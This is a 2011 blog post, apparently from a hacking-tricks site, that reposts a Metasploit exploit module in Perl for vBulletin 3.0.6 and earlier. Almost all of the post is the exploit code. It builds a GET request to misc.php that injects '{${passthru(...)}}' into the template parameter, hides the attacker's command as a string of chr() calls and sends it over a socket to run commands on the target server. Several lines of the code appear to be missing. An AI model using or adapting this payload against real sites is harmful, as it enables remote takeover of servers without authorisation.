Saturday, August 6, 2011
##
# Title: vBulletin <= 3.0.6 (Add Template Name in HTML Comments = Yes) command execution eXploit |
# License: Artistic/BSD/GPL |
# Info: trying to get the command execution exploits out of the way on milw0rm.com. M's are always good. |
# - This is an exploit module for the Metasploit Framework, please see |
# http://metasploit.com/projects/Framework for more information. |
package Msf::Exploit::php_vb3_0_6; |
'Name' => 'vBulletin <= 3.0.6 (Add Template Name in HTML Comments = Yes) command execution eXploit', |
'Version' => '$Revision: 1.0 $', |
'Authors' => [ 'str0ke' ], |
'RHOST' => [1, 'ADDR', 'The target address'], |
'RPORT' => [1, 'PORT', 'The target port', 80], |
'VHOST' => [0, 'DATA', 'The virtual host name of the server'], |
'RPATH' => [1, 'DATA', 'Path to the misc.php script', '/forum/misc.php'], |
'SSL' => [0, 'BOOL', 'Use SSL'], |
'Description' => Pex::Text::Freeform(qq{ |
This module exploits a code execution flaw in vBulletin <= 3.0.6. |
'Keys' => ['cmd', 'cmd_bash'], |
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_); |
my $target_host = $self->GetVar('RHOST'); |
my $target_port = $self->GetVar('RPORT'); |
my $vhost = $self->GetVar('VHOST') || $target_host; |
my $path = $self->GetVar('RPATH'); |
my $cmd = $self->GetVar('EncodedPayload')->RawPayload; |
# Encode the command as a set of chr() function calls |
my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd)); |
# Create the get request data |
my $data = "?do=page&template={\${passthru($byte)}}"; |
"GET $path$data HTTP/1.1\r\n". |
"Host: $vhost:$target_port\r\n". |
"Content-Type: application/html\r\n". |
"Content-Length: ". length($data)."\r\n". |
my $s = Msf::Socket::Tcp->new( |
'PeerAddr' => $target_host, |
'PeerPort' => $target_port, |
'LocalPort' => $self->GetVar('CPORT'), |
'SSL' => $self->GetVar('SSL'), |
$self->PrintLine('[*] Error creating socket: ' . $s->GetError); |
$self->PrintLine("[*] Sending the malicious vBulletin Get request..."); |
my $results = $s->Recv(-1, 20); |
1;
- Copyright ©
.Hacking Cracking Tricks And Tutorials, Paid Scripts, Latest Exploits, 0Day Vulnerability, - Skyblue - Powered by Blogger - Designed by Johanes Djogan -